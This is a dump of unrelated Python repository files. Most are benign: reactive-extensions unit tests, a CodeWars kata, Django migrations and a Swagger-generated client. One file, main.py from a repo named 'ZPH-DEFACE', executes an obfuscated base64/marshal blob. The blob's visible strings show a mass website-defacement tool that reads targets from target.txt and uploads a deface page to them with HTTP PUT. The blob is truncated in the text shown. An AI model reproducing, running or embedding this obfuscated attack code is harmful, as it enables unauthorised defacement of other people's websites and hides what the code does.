scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and4_error(self): ex = 'ex' N = 4 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d): return a + b + c + d return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_then4_throws(self): ex = 'ex' N = 4 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_and5(self): N = 5 scheduler = TestScheduler() obs = [] for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e): return a + b + c + d + e return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and5_error(self): ex = 'ex' N = 5 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e): return a + b + c + d + e return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_then5_throws(self): ex = 'ex' N = 5 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_and6(self): N = 6 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f): return a + b + c + d + e + f return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and6_error(self): ex = 'ex' N = 6 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f): return a + b + c + d + e + f return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_Then6Throws(self): ex = 'ex' N = 6 scheduler = TestScheduler() obs = [] for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(*args): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_and7(self): N = 7 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g): return a + b + c + d + e + f + g return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and7_error(self): ex = 'ex' N = 7 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g): return a + b + c + d + e + f + g return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_then7_throws(self): ex = 'ex' N = 7 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(*args): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_and8(self): N = 8 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g, h): return a + b + c + d + e + f + g + h return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and8_error(self): ex = 'ex' N = 8 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g, h): return a + b + c + d + e + f + g + h return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_then8_throws(self): ex = 'ex' N = 8 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(*args): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_And9(self): N = 9 scheduler = TestScheduler() obs = [] for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g, h, _i): return a + b + c + d + e + f + g + h + _i return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).and_(obs[8]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_next(210, N), on_completed(220)) def test_and9_error(self): ex = 'ex' N = 9 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d, e, f, g, h, _i): return a + b + c + d + e + f + g + h + _i return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).and_(obs[8]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_then9_throws(self): ex = 'ex' N = 9 scheduler = TestScheduler() obs = [] for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(*args): raise Exception(ex) return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).and_(obs[4]).and_(obs[5]).and_(obs[6]).and_(obs[7]).and_(obs[8]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(210, ex)) def test_WhenMultipleDataSymmetric(self): scheduler = TestScheduler() xs = scheduler.create_hot_observable( on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(240) ) ys = scheduler.create_hot_observable( on_next(240, 4), on_next(250, 5), on_next(260, 6), on_completed(270) ) def create(): def selector(x, y): return x + y return Observable.when(xs.and_(ys).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_next(240, 1 + 4), on_next(250, 2 + 5), on_next(260, 3 + 6), on_completed(270) ) def test_WhenMultipleDataAsymmetric(self): scheduler = TestScheduler() xs = scheduler.create_hot_observable( on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(240) ) ys = scheduler.create_hot_observable( on_next(240, 4), on_next(250, 5), on_completed(270) ) def create(): def selector(x, y): return x + y return Observable.when(xs.and_(ys).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_next(240, 1 + 4), on_next(250, 2 + 5), on_completed(270) ) def test_when_empty_empty(self): scheduler = TestScheduler() xs = scheduler.create_hot_observable(on_completed(240)) ys = scheduler.create_hot_observable(on_completed(270)) def create(): def selector(x, y): return x + y return Observable.when(xs.and_(ys).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_completed(270)) def test_when_never_never(self): scheduler = TestScheduler() xs = Observable.never() ys = Observable.never() def create(): def selector(x, y): return x + y return Observable.when(xs.and_(ys).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal() def test_when_throw_non_empty(self): ex = 'ex' scheduler = TestScheduler() xs = scheduler.create_hot_observable(on_error(240, ex)) ys = scheduler.create_hot_observable(on_completed(270)) def create(): def selector(x, y): return x + y return Observable.when(xs.and_(ys).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal(on_error(240, ex)) def test_complicated_when(self): scheduler = TestScheduler() xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(240)) ys = scheduler.create_hot_observable(on_next(240, 4), on_next(250, 5), on_next(260, 6), on_completed(270)) zs = scheduler.create_hot_observable(on_next(220, 7), on_next(230, 8), on_next(240, 9), on_completed(300)) def create(): def sel1(x, y): return x + y def sel2(x, z): return x * z def sel3(y, z): return y - z return Observable.when(xs.and_(ys).then_do(sel1), xs.and_(zs).then_do(sel2), ys.and_(zs).then_do(sel3)) results = scheduler.start(create) results.messages.assert_equal(on_next(220, 1 * 7), on_next(230, 2 * 8), on_next(240, 3 + 4), on_next(250, 5 - 9), on_completed(300)) if __name__ == '__main__': unittest.main()

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c33b56fc6f943edcabd3fb042d53877a7c42f3e3

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py

Python

katas/kyu_8/find_the_position.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

40

2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

katas/kyu_8/find_the_position.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

katas/kyu_8/find_the_position.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

from string import ascii_lowercase def position(char): return 'Position of alphabet: {}'.format(ascii_lowercase.index(char) + 1)

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py

Python

creational/factory_method/data/parcel.py

Kozak24/Patterns

351d5c11f7c64ce5d58db37b6715fc8f7d31945a

[ "MIT" ]

null

creational/factory_method/data/parcel.py

Kozak24/Patterns

351d5c11f7c64ce5d58db37b6715fc8f7d31945a

[ "MIT" ]

null

creational/factory_method/data/parcel.py

Kozak24/Patterns

351d5c11f7c64ce5d58db37b6715fc8f7d31945a

[ "MIT" ]

null

class Parcel: def __init__(self, parcel_id: str, weight: float) -> None: self.parcel_id = parcel_id self.weight = weight def __str__(self) -> str: return self.parcel_id

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c358c9827fd52ca6234d44b241c701e5e27aec3c

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py

Python

another_talib/supportandresistance.py

marianobilli/another-talib

33c377f4da7033f0093fbc5eb7d7118d0b2b964e

[ "MIT" ]

null

another_talib/supportandresistance.py

marianobilli/another-talib

33c377f4da7033f0093fbc5eb7d7118d0b2b964e

[ "MIT" ]

null

another_talib/supportandresistance.py

marianobilli/another-talib

33c377f4da7033f0093fbc5eb7d7118d0b2b964e

[ "MIT" ]

null

def demo(): return True

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py

Python

public/views/__init__.py

cmisid/Wasty-Database

c2e350e3be2cb60df87c9a1481e5da3342c6b73b

[ "Apache-2.0" ]

null

public/views/__init__.py

cmisid/Wasty-Database

c2e350e3be2cb60df87c9a1481e5da3342c6b73b

[ "Apache-2.0" ]

null

public/views/__init__.py

cmisid/Wasty-Database

c2e350e3be2cb60df87c9a1481e5da3342c6b73b

[ "Apache-2.0" ]

null

from . import base from . import rest

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6f2804e36f7619d7f0f84ccf68602b3aa50df946

5,288

py

Python

main.py

zaypaihtet/ZPH-DEFACE

d19f674931168779caa4cbfc3fb6c9185ca48d89

[ "MIT" ]

null

main.py

zaypaihtet/ZPH-DEFACE

d19f674931168779caa4cbfc3fb6c9185ca48d89

[ "MIT" ]

null

main.py

zaypaihtet/ZPH-DEFACE

d19f674931168779caa4cbfc3fb6c9185ca48d89

[ "MIT" ]

null

#Encrypted with Crypton #Created by OVERDOSIS import base64 import marshal exec(marshal.loads(base64.b64decode("YwAAAAAAAAAABQAAAEAAAABzmQAAAHkoAGQAAGQBAGwAAFoAAGQAAGQBAGwBAFoCAGQAAGQBAGwDAFoDAFduGwAEZQQAawoAckUAAQEBZQUAZAIAgwEAAW4BAFhkAwBaBgBkBABaBwBkBQBaCABkBgBaCQBkBwCEAABaCgBkCABkCQCEAQBaCwBkCgCEAABaDABlDQBkCwBrAgBylQBlDABlBgCDAQABbgAAZAEAUygMAAAAaf////9OcyIAAABpbnN0YWxsIHJlcXVlc3RzIGFuZCB0cnkgYWdhaW4gLi4uc8MHAAAKIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVlyAg4paI4paI4pWXICAgICDilojilojilojilojilojilZcg4paI4paI4pWXICAg4paI4paI4pWX4paI4paI4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgICAgCuKVmuKVkOKVkOKWiOKWiOKWiOKVlOKVneKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVkSAg4paI4paI4pWRICAgIOKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVkSAgIOKWiOKWiOKVkeKVmuKVkOKVkOKWiOKWiOKVlOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVlyAgICAKICDilojilojilojilZTilZ0g4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4paI4paI4paI4paI4paI4pWRICAgIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVkeKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgICAKIOKWiOKWiOKWiOKVlOKVnSAg4paI4paI4pWU4pWQ4pWQ4pWQ4pWdIOKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVkSAgICDilojilojilZTilZDilZDilojilojilZHilojilojilZEgICDilojilojilZEgICDilojilojilZEgICDilojilojilZEgICDilojilojilZEgICAgCuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkSAgICAg4paI4paI4pWRICDilojilojilZEgICAg4paI4paI4pWRICDilojilojilZHilZrilojilojilojilojilojilojilZTilZ0gICDilojilojilZEgICDilZrilojilojilojilojilojilojilZTilZ0gICAgCuKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVneKVmuKVkOKVnSAgICAg4pWa4pWQ4pWdICDilZrilZDilZ0gICAg4pWa4pWQ4pWdICDilZrilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICAgIOKVmuKVkOKVnSAgICDilZrilZDilZDilZDilZDilZDilZ0gICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilZcgIOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgICAgICAgICAgCiAgICAgICAg4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWdICAgICAgICAgICAKICAgICAgICDilojilojilZEgIOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKVlyAg4paI4paI4paI4paI4paI4pWXICDilojilojilojilojilojilojilojilZHilojilojilZEgICAgIOKWiOKWiOKWiOKWiOKWiOKVlyAgICAgICAgICAgICAKICAgICAgICDilojilojilZEgIOKWiOKWiOKVkeKWiOKWiOKVlOKVkOKVkOKVnSAg4paI4paI4pWU4pWQ4pWQ4pWdICDilojilojilZTilZDilZDilojilojilZHilojilojilZEgICAgIOKWiOKWiOKVlOKVkOKVkOKVnSAgICAgICAgICAgICAKICAgICAgICDilojilojilojilojilojilojilZTilZ3ilojilojilojilojilojilojilojilZfilojilojilZEgICAgIOKWiOKWiOKVkSAg4paI4paI4pWR4pWa4paI4paI4paI4paI4paI4paI4pWX4paI4paI4paI4paI4paI4paI4paI4pWXICAgICAgICAgICAKICAgICAgICDilZrilZDilZDilZDilZDilZDilZ0g4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWd4pWa4pWQ4pWdICAgICDilZrilZDilZ0gIOKVmuKVkOKVnSDilZrilZDilZDilZDilZDilZDilZ3ilZrilZDilZDilZDilZDilZDilZDilZ0gICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgoKcwUAAAAbWzMxbXMFAAAAG1szMm1zBQAAABtbMDBtYwEAAAACAAAAAgAAAEMAAABzPQAAAGQBAH0BAHQAAGoBAGoCAGQCAGsEAHInAHQDAHwAAIMBAH0BAG4MAHQEAHwAAIMBAH0BAHQFAHwBAIMBAFMoAwAAAE50AAAAAGkCAAAAKAYAAAB0AwAAAHN5c3QMAAAAdmVyc2lvbl9pbmZvdAUAAABtYWpvcnQFAAAAaW5wdXR0CQAAAHJhd19pbnB1dHQDAAAAc3RyKAIAAAB0BQAAAHRldGV3dAMAAABpcHQoAAAAACgAAAAAUgAAAAB0AQAAAHghAAAAcwoAAAAAAQYBEgEPAgwCcwoAAAB0YXJnZXQudHh0YwIAAAAIAAAACgAAAEMAAABzVAEAAHQAAHwAAGQBAIMCAGoBAIMAAH0CAHQAAHwBAGQBAIMCAI8qAX0DAHwDAGoCAIMAAH0DAHQDAGoEAIMAAH0EAGQCAHQFAHwDAIMBABZHSHj5AHwDAERd8QB9BQB5tgB8BQBqBgCDAAB9BgB8BgBqBwBkAwCDAQB0CABrCAByjABkAwB8BgAXfQYAbgAAfAQAagkAfAYAZAQAF3wAABdkBQB8AgCDAQF9BwB8BwBqCgBkBgBrAABzxwB8BwBqCgBkBwBrBQBy7QB0CwBkCAAXdAwAF2QJABd0CwAXZAoAfAYAfAAAZgIAFhdHSG4jAHQLAGQIABd0DQAXZAsAF3QLABdkCgB8BgB8AABmAgAWF0dIV3FVAAR0AwBqDgBqDwBrCgByLQEBAQFxVQBxVQAEdBAAawoAckUBAQEBSHQRAIMAAAFxVQBYcVUAV1dkAABRWGQAAFMoDAAAAE50AQAAAHJzHAAAAHVwbG9hZGluZyBmaWxlIHRvICVkIHdlYnNpdGVzBwAAAGh0dHA6Ly90AQAAAC90BAAAAGRhdGFpyAAAAGn6AAAAdAEAAABbcwgAAAAgRkFJTEVEIXMIAAAAIF0gJXMvJXNzCAAAACBTVUNDRVNTKBIAAAB0BAAAAG9wZW50BAAAAHJlYWR0CQAAAHJlYWRsaW5lc3QIAAAAcmVxdWVzdHN0BwAAAFNlc3Npb250AwAAAGxlbnQFAAAAc3RyaXB0CgAAAHN0YXJ0c3dpdGh0BQAAAEZhbHNldAMAAABwdXR0CwAAAHN0YXR1c19jb2RldAEAAABtdAEAAABidAEAAABodAoAAABleGNlcHRpb25zdBAAAABSZXF1ZXN0RXhjZXB0aW9udBEAAABLZXlib2FyZEludGVycnVwdHQEAAAAZXhpdCgIAAAAdAYAAABzY3JpcHR0CwAAAHRhcmdldF9maWxldAIAAABvcHQGAAAAdGFyZ2V0dAEAAABzdAMAAAB3ZWJ0BAAAAHNpdGV0AwAAAHJlcSgAAAAAKAAAAABSAAAAAHQDAAAAYW94KgAAAHMmAAAAAAEVARIBDAEMAQ8BDQEDAQwBFQENAR0BHgEmAicCEwEGAQ0BAQBjAQAAAAIAAAAFAAAAQwAAAHNuAAAAfAAAR0h4WAB0AAByXwB5MgB0AQBkAQCDAQB9AQB0AgBqAwBqBAB8AQCDAQBzPgBkAgB8AQAWR0h3CABuAQBQV3EIAAR0BQBrCgByWwABAQFIdAYAgwAAAXEIAFhxCABXdAcAfAEAgwEAAWQAAFMoAwAAAE5zHwAAAEVudGVyIHlvdXIgc2NyaXB0IGRlZmFjZSBuYW1lOiBzEwAAAGZpbGUgJyVzJyBub3QgZm91bmQoCAAAAHQEAAAAVHJ1ZVIJAAAAdAIAAABvc3QEAAAAcGF0aHQGAAAAaXNmaWxlUh4AAABSHwAAAFIoAAAAKAIAAAB0BgAAAF9fYm5fX3QBAAAAYSgAAAAAKAAAAABSAAAAAHQEAAAAbWFpbkAAAABzGAAAAAABBQEJAQMBDAESAQkBBgIFAQ0BAQAPAnQIAAAAX19tYWluX18oDgAAAFIRAAAAdAcAAABvcy5wYXR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11

6f3f390afcbc05ad932ae9c81ad63a4061564d82

4,563

py

Python

flows/migrations/0001_initial.py

stornado/zinga

4791d06f153a69a1ed502022b58d4af9c77c5659

[ "MIT" ]

null

flows/migrations/0001_initial.py

stornado/zinga

4791d06f153a69a1ed502022b58d4af9c77c5659

[ "MIT" ]

null

flows/migrations/0001_initial.py

stornado/zinga

4791d06f153a69a1ed502022b58d4af9c77c5659

[ "MIT" ]

null

# Generated by Django 2.1.2 on 2018-10-14 16:12 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='BaseTaskModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=50, verbose_name='Title')), ('description', models.TextField(verbose_name='Description')), ('active', models.BooleanField(default=True, verbose_name='Status')), ('create_time', models.DateTimeField(auto_now_add=True, verbose_name='Create Time')), ('update_time', models.DateTimeField(auto_now=True, verbose_name='Create Time')), ], ), migrations.CreateModel( name='MailGroup', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=25, verbose_name='Name')), ('description', models.TextField(verbose_name='Description')), ('active', models.BooleanField(default=True, verbose_name='Status')), ], ), migrations.CreateModel( name='Periodic', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=50, verbose_name='Title')), ('description', models.TextField(verbose_name='Description')), ('running', models.BooleanField(default=False, verbose_name='Run Status')), ('need_mail', models.BooleanField(default=False, verbose_name='Notify')), ('result_url', models.URLField(verbose_name='Result URL')), ('active', models.BooleanField(default=True, verbose_name='Status')), ('create_time', models.DateTimeField(auto_now_add=True, verbose_name='Create Time')), ('update_time', models.DateTimeField(auto_now=True, verbose_name='Create Time')), ('cron', models.CharField(max_length=50, verbose_name='Cron')), ('mail_receivers', models.ManyToManyField(blank=True, null=True, to='flows.MailGroup', verbose_name='Receivers')), ], options={ 'ordering': ('-active', '-running', 'update_time'), 'abstract': False, }, ), migrations.CreateModel( name='Schedule', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=50, verbose_name='Title')), ('description', models.TextField(verbose_name='Description')), ('running', models.BooleanField(default=False, verbose_name='Run Status')), ('need_mail', models.BooleanField(default=False, verbose_name='Notify')), ('result_url', models.URLField(verbose_name='Result URL')), ('active', models.BooleanField(default=True, verbose_name='Status')), ('create_time', models.DateTimeField(auto_now_add=True, verbose_name='Create Time')), ('update_time', models.DateTimeField(auto_now=True, verbose_name='Create Time')), ('start_time', models.DateTimeField(verbose_name='Start Time')), ('end_time', models.DateTimeField(blank=True, null=True, verbose_name='End Time')), ('duration', models.DurationField(verbose_name='Duration')), ('expire_time', models.DateTimeField(verbose_name='Expire Time')), ('mail_receivers', models.ManyToManyField(blank=True, null=True, to='flows.MailGroup', verbose_name='Receivers')), ], options={ 'ordering': ('-active', '-running', 'update_time'), 'abstract': False, }, ), migrations.CreateModel( name='CaseExcuteTask', fields=[ ('basetaskmodel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='flows.BaseTaskModel')), ], bases=('flows.basetaskmodel',), ), ]

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7

6f44de184b0d498a91e687459c6c773ec7874e04

2,350

py

Python

django/policy/migrations/0007_auto_20171025_0901.py

zoonoo/aws2

583d8ee144c8b5c422a706d8054716c13d064899

[ "MIT" ]

null

django/policy/migrations/0007_auto_20171025_0901.py

zoonoo/aws2

583d8ee144c8b5c422a706d8054716c13d064899

[ "MIT" ]

null

django/policy/migrations/0007_auto_20171025_0901.py

zoonoo/aws2

583d8ee144c8b5c422a706d8054716c13d064899

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-25 09:01 from __future__ import unicode_literals from decimal import Decimal from django.db import migrations import djmoney.models.fields class Migration(migrations.Migration): dependencies = [ ('policy', '0006_auto_20171025_0144'), ] operations = [ migrations.AddField( model_name='accommodationoption', name='price_krw_currency', field=djmoney.models.fields.CurrencyField(choices=[('KRW', 'KRW'), ('USD', 'USD')], default='KRW', editable=False, max_length=3), ), migrations.AddField( model_name='accommodationoption', name='price_usd_currency', field=djmoney.models.fields.CurrencyField(choices=[('KRW', 'KRW'), ('USD', 'USD')], default='USD', editable=False, max_length=3), ), migrations.AddField( model_name='price', name='price_krw_currency', field=djmoney.models.fields.CurrencyField(choices=[('KRW', 'KRW'), ('USD', 'USD')], default='KRW', editable=False, max_length=3), ), migrations.AddField( model_name='price', name='price_usd_currency', field=djmoney.models.fields.CurrencyField(choices=[('KRW', 'KRW'), ('USD', 'USD')], default='USD', editable=False, max_length=3), ), migrations.AlterField( model_name='accommodationoption', name='price_krw', field=djmoney.models.fields.MoneyField(decimal_places=0, default=Decimal('0'), default_currency='KRW', max_digits=7), ), migrations.AlterField( model_name='accommodationoption', name='price_usd', field=djmoney.models.fields.MoneyField(decimal_places=0, default=Decimal('0'), default_currency='USD', max_digits=4), ), migrations.AlterField( model_name='price', name='price_krw', field=djmoney.models.fields.MoneyField(decimal_places=0, default=Decimal('0'), default_currency='KRW', max_digits=7), ), migrations.AlterField( model_name='price', name='price_usd', field=djmoney.models.fields.MoneyField(decimal_places=0, default=Decimal('0'), default_currency='USD', max_digits=4), ), ]

40.517241

141

0.615319

248

2,350

5.653226

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0.077033

0.121969

0.136947

0.833096

0.71826

0

0.027374

0.238298

2,350

57

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0.755866

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1

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1

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null

0

8

6f6eba6ddb41ea6516d104103038af76231259df

150

py

Python

dataset/__init__.py

wheeltune/kid-neuro

131ec888e4f0c3ee1d7b4c4ebf57a6b1d5323d8a

[ "MIT" ]

null

dataset/__init__.py

wheeltune/kid-neuro

131ec888e4f0c3ee1d7b4c4ebf57a6b1d5323d8a

[ "MIT" ]

null

dataset/__init__.py

wheeltune/kid-neuro

131ec888e4f0c3ee1d7b4c4ebf57a6b1d5323d8a

[ "MIT" ]

null

from .events_dataset import * from .keystrokes_dataset import * from .kid_dataset import * from .multi_dataset import * from .timing_dataset import *

25

33

0.8

20

150

5.75

0.4

0.565217

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0

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150

5

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true

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null

0

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1

0

1

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7

48b89505f2adbbf9bccdfb2ca9b5674ee0e760c4

12,969

py

Python

python/swagger_client/api/base_controller_api.py

Naras/knowledgetreeRestClients

4c79cb091a91bafe37fa2f0d0301245d086c2e5b

[ "MIT" ]

null

python/swagger_client/api/base_controller_api.py

Naras/knowledgetreeRestClients

4c79cb091a91bafe37fa2f0d0301245d086c2e5b

[ "MIT" ]

null

python/swagger_client/api/base_controller_api.py

Naras/knowledgetreeRestClients

4c79cb091a91bafe37fa2f0d0301245d086c2e5b

[ "MIT" ]

null

# coding: utf-8 """ OpenAPI definition No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: v0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class BaseControllerApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def get_person_root(self, **kwargs): # noqa: E501 """get root person # noqa: E501 get the root node for person # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_person_root(async_req=True) >>> result = thread.get() :param async_req bool :return: PersonResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_person_root_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_person_root_with_http_info(**kwargs) # 